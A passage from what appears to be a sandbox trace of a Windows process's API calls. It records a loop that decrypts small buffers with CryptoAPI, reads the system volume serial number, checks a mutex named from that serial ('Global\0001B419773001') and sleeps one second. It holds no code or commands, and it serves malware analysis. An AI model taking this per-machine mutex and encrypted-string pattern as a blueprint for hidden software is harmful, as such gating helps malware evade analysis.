dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x894f78) returned 1 [0170.114] CryptSetKeyParam (hKey=0x894f78, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0170.114] CryptDecrypt (in: hKey=0x894f78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3704008, pdwDataLen=0xc0fcc0 | out: pbData=0x3704008, pdwDataLen=0xc0fcc0) returned 1 [0170.114] CryptDestroyKey (hKey=0x894f78) returned 1 [0170.114] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x3704008 | out: hHeap=0x23a0000) returned 1 [0170.114] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a12a0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0170.114] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12c8 | out: hHeap=0x23a0000) returned 1 [0170.114] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0170.114] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0170.114] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0170.114] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a12a0 [0170.114] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x894ff8) returned 1 [0170.114] CryptSetKeyParam (hKey=0x894ff8, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0170.115] CryptDecrypt (in: hKey=0x894ff8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a12a0, pdwDataLen=0xc0fd1c | out: pbData=0x23a12a0, pdwDataLen=0xc0fd1c) returned 1 [0170.115] CryptDestroyKey (hKey=0x894ff8) returned 1 [0170.115] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23a1520 [0170.115] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x4bc [0170.115] WaitForSingleObject (hHandle=0x4bc, dwMilliseconds=0x0) returned 0x102 [0170.115] CloseHandle (hObject=0x4bc) returned 1 [0170.115] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0170.115] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0170.115] Sleep (dwMilliseconds=0x3e8) [0171.244] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a1520 [0171.244] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x895278) returned 1 [0171.244] CryptSetKeyParam (hKey=0x895278, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0171.244] CryptDecrypt (in: hKey=0x895278, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1520, pdwDataLen=0xc0fce8 | out: pbData=0x23a1520, pdwDataLen=0xc0fce8) returned 1 [0171.244] CryptDestroyKey (hKey=0x895278) returned 1 [0171.244] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a12a0 [0171.244] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a12c8 [0171.244] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x3704008 [0171.244] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x894e38) returned 1 [0171.244] CryptSetKeyParam (hKey=0x894e38, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0171.244] CryptDecrypt (in: hKey=0x894e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3704008, pdwDataLen=0xc0fcc0 | out: pbData=0x3704008, pdwDataLen=0xc0fcc0) returned 1 [0171.244] CryptDestroyKey (hKey=0x894e38) returned 1 [0171.244] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x3704008 | out: hHeap=0x23a0000) returned 1 [0171.244] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a12a0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0171.244] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12c8 | out: hHeap=0x23a0000) returned 1 [0171.244] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0171.244] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0171.245] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0171.245] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a12a0 [0171.245] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x8955b8) returned 1 [0171.245] CryptSetKeyParam (hKey=0x8955b8, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0171.245] CryptDecrypt (in: hKey=0x8955b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a12a0, pdwDataLen=0xc0fd1c | out: pbData=0x23a12a0, pdwDataLen=0xc0fd1c) returned 1 [0171.245] CryptDestroyKey (hKey=0x8955b8) returned 1 [0171.245] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23a1520 [0171.245] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x4bc [0171.245] WaitForSingleObject (hHandle=0x4bc, dwMilliseconds=0x0) returned 0x102 [0171.245] CloseHandle (hObject=0x4bc) returned 1 [0171.245] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0171.245] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0171.245] Sleep (dwMilliseconds=0x3e8) [0172.259] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a1520 [0172.259] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x8953f8) returned 1 [0172.259] CryptSetKeyParam (hKey=0x8953f8, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0172.259] CryptDecrypt (in: hKey=0x8953f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1520, pdwDataLen=0xc0fce8 | out: pbData=0x23a1520, pdwDataLen=0xc0fce8) returned 1 [0172.259] CryptDestroyKey (hKey=0x8953f8) returned 1 [0172.259] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a12a0 [0172.259] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a12c8 [0172.259] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x3704008 [0172.259] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x895538) returned 1 [0172.259] CryptSetKeyParam (hKey=0x895538, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0172.259] CryptDecrypt (in: hKey=0x895538, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3704008, pdwDataLen=0xc0fcc0 | out: pbData=0x3704008, pdwDataLen=0xc0fcc0) returned 1 [0172.259] CryptDestroyKey (hKey=0x895538) returned 1 [0172.259] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x3704008 | out: hHeap=0x23a0000) returned 1 [0172.259] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a12a0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0172.259] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12c8 | out: hHeap=0x23a0000) returned 1 [0172.259] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0172.259] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0172.260] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0172.260] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a12a0 [0172.260] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x895278) returned 1 [0172.260] CryptSetKeyParam (hKey=0x895278, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0172.260] CryptDecrypt (in: hKey=0x895278, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a12a0, pdwDataLen=0xc0fd1c | out: pbData=0x23a12a0, pdwDataLen=0xc0fd1c) returned 1 [0172.260] CryptDestroyKey (hKey=0x895278) returned 1 [0172.260] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23a1520 [0172.260] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x4bc [0172.260] WaitForSingleObject (hHandle=0x4bc, dwMilliseconds=0x0) returned 0x102 [0172.260] CloseHandle (hObject=0x4bc) returned 1 [0172.260] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0172.260] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0172.260] Sleep (dwMilliseconds=0x3e8) [0173.776] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a1520 [0173.776] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x894fb8) returned 1 [0173.776] CryptSetKeyParam (hKey=0x894fb8, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0173.776] CryptDecrypt (in: hKey=0x894fb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1520, pdwDataLen=0xc0fce8 | out: pbData=0x23a1520, pdwDataLen=0xc0fce8) returned 1 [0173.776] CryptDestroyKey (hKey=0x894fb8) returned 1 [0173.776] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a12a0 [0173.776] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a12c8 [0173.776] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x3704008 [0173.776] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x895238) returned 1 [0173.776] CryptSetKeyParam (hKey=0x895238, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0173.776] CryptDecrypt (in: hKey=0x895238, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3704008, pdwDataLen=0xc0fcc0 | out: pbData=0x3704008, pdwDataLen=0xc0fcc0) returned 1 [0173.777] CryptDestroyKey (hKey=0x895238) returned 1 [0173.777] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x3704008 | out: hHeap=0x23a0000) returned 1 [0173.777] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a12a0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0173.777] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12c8 | out: hHeap=0x23a0000) returned 1 [0173.777] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0173.777] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0173.777] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0173.777] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a12a0 [0173.777] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x895438) returned 1 [0173.777] CryptSetKeyParam (hKey=0x895438, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0173.777] CryptDecrypt (in: hKey=0x895438, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a12a0, pdwDataLen=0xc0fd1c | out: pbData=0x23a12a0, pdwDataLen=0xc0fd1c) returned 1 [0173.777] CryptDestroyKey (hKey=0x895438) returned 1 [0173.777] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23a1520 [0173.777] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x4bc [0173.777] WaitForSingleObject (hHandle=0x4bc, dwMilliseconds=0x0) returned 0x102 [0173.777] CloseHandle (hObject=0x4bc) returned 1 [0173.777] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0173.777] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0173.777] Sleep (dwMilliseconds=0x3e8) [0174.792] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a1520 [0174.792] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x8951f8) returned 1 [0174.792] CryptSetKeyParam (hKey=0x8951f8, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0174.792] CryptDecrypt (in: hKey=0x8951f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1520, pdwDataLen=0xc0fce8 | out: pbData=0x23a1520, pdwDataLen=0xc0fce8) returned 1 [0174.792] CryptDestroyKey (hKey=0x8951f8) returned 1 [0174.792] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a12a0 [0174.792] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a12c8 [0174.792] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x3704008 [0174.792] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x895578) returned 1 [0174.792] CryptSetKeyParam (hKey=0x895578, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0174.792] CryptDecrypt (in: hKey=0x895578, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3704008, pdwDataLen=0xc0fcc0 | out: pbData=0x3704008, pdwDataLen=0xc0fcc0) returned 1 [0174.792] CryptDestroyKey (hKey=0x895578) returned 1 [0174.792] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x3704008 | out: hHeap=0x23a0000) returned 1 [0174.792] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a12a0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0174.792] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12c8 | out: hHeap=0x23a0000) returned 1 [0174.792] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0174.792] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0174.792] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0174.792] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a12a0 [0174.792] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x895338) returned 1 [0174.792] CryptSetKeyParam (hKey=0x895338, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0174.793] CryptDecrypt (in: hKey=0x895338, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a12a0, pdwDataLen=0xc0fd1c | out: pbData=0x23a12a0, pdwDataLen=0xc0fd1c) returned 1 [0174.793] CryptDestroyKey (hKey=0x895338) returned 1 [0174.793] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23a1520 [0174.793] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3f4 [0174.793] WaitForSingleObject (hHandle=0x3f4, dwMilliseconds=0x0) returned 0x102 [0174.793] CloseHandle (hObject=0x3f4) returned 1 [0174.793] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0174.793] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0174.793] Sleep (dwMilliseconds=0x3e8) [0175.812] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a1520 [0175.812] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x8951f8) returned 1 [0175.812] CryptSetKeyParam (hKey=0x8951f8, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0175.812] CryptDecrypt (in: hKey=0x8951f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1520, pdwDataLen=0xc0fce8 | out: pbData=0x23a1520, pdwDataLen=0xc0fce8) returned 1 [0175.812] CryptDestroyKey (hKey=0x8951f8) returned 1 [0175.812] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a12a0 [0175.812] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a12c8 [0175.812] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x3704008 [0175.812] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x894eb8) returned 1 [0175.812] CryptSetKeyParam (hKey=0x894eb8, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0175.812] CryptDecrypt (in: hKey=0x894eb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3704008, pdwDataLen=0xc0fcc0 | out: pbData=0x3704008, pdwDataLen=0xc0fcc0) returned 1 [0175.812] CryptDestroyKey (hKey=0x894eb8) returned 1 [0175.812] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x3704008 | out: hHeap=0x23a0000) returned 1 [0175.812] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a12a0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0175.812] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12c8 | out: hHeap=0x23a0000) returned 1 [0175.812] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0175.812] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0175.813] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0175.813] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a12a0 [0175.813] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x894ff8) returned 1 [0175.813] CryptSetKeyParam (hKey=0x894ff8, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0175.813] CryptDecrypt (in: hKey=0x894ff8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a12a0, pdwDataLen=0xc0fd1c | out: pbData=0x23a12a0, pdwDataLen=0xc0fd1c) returned 1 [0175.813] CryptDestroyKey (hKey=0x894ff8) returned 1 [0175.813] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23a1520 [0175.813] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3f4 [0175.813] WaitForSingleObject (hHandle=0x3f4, dwMilliseconds=0x0) returned 0x102 [0175.813] CloseHandle (hObject=0x3f4) returned 1 [0175.813] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0175.813] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0175.813] Sleep (dwMilliseconds=0x3e8) [0176.937] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a1520 [0176.937] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x836660) returned 1 [0176.937] CryptSetKeyParam (hKey=0x836660, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0176.937] CryptDecrypt (in: hKey=0x836660, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1520, pdwDataLen=0xc0fce8 | out: pbData=0x23a1520, pdwDataLen=0xc0fce8) returned 1 [0176.937] CryptDestroyKey (hKey=0x836660) returned 1 [0176.937] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a12a0 [0176.937] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a12c8 [0176.937] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x3704008 [0176.937] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x8361a0) returned 1 [0176.937] CryptSetKeyParam (hKey=0x8361a0, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0176.937] CryptDecrypt (in: hKey=0x8361a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3704008, pdwDataLen=0xc0fcc0 | out: pbData=0x3704008, pdwDataLen=0xc0fcc0) returned 1 [0176.937] CryptDestroyKey (hKey=0x8361a0) returned 1 [0176.937] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x3704008 | out: hHeap=0x23a0000) returned 1 [0176.937] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a12a0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0176.937] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12c8 | out: hHeap=0x23a0000) returned 1 [0176.937] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0176.937] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0176.938] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0176.938] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a12a0 [0176.938] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x836660) returned 1 [0176.938] CryptSetKeyParam (hKey=0x836660, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0176.938] CryptDecrypt (in: hKey=0x836660, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a12a0, pdwDataLen=0xc0fd1c | out: pbData=0x23a12a0, pdwDataLen=0xc0fd1c) returned 1 [0176.938] CryptDestroyKey (hKey=0x836660) returned 1 [0176.938] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23a1520 [0176.938] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3f4 [0176.938] WaitForSingleObject (hHandle=0x3f4, dwMilliseconds=0x0) returned 0x102 [0176.938] CloseHandle (hObject=0x3f4) returned 1 [0176.938] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0176.938] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0176.938] Sleep (dwMilliseconds=0x3e8) [0177.953] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a1520 [0177.953] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x8361a0) returned 1 [0177.953] CryptSetKeyParam (hKey=0x8361a0, dwParam=0x1, pbData=0xc0fd1c, 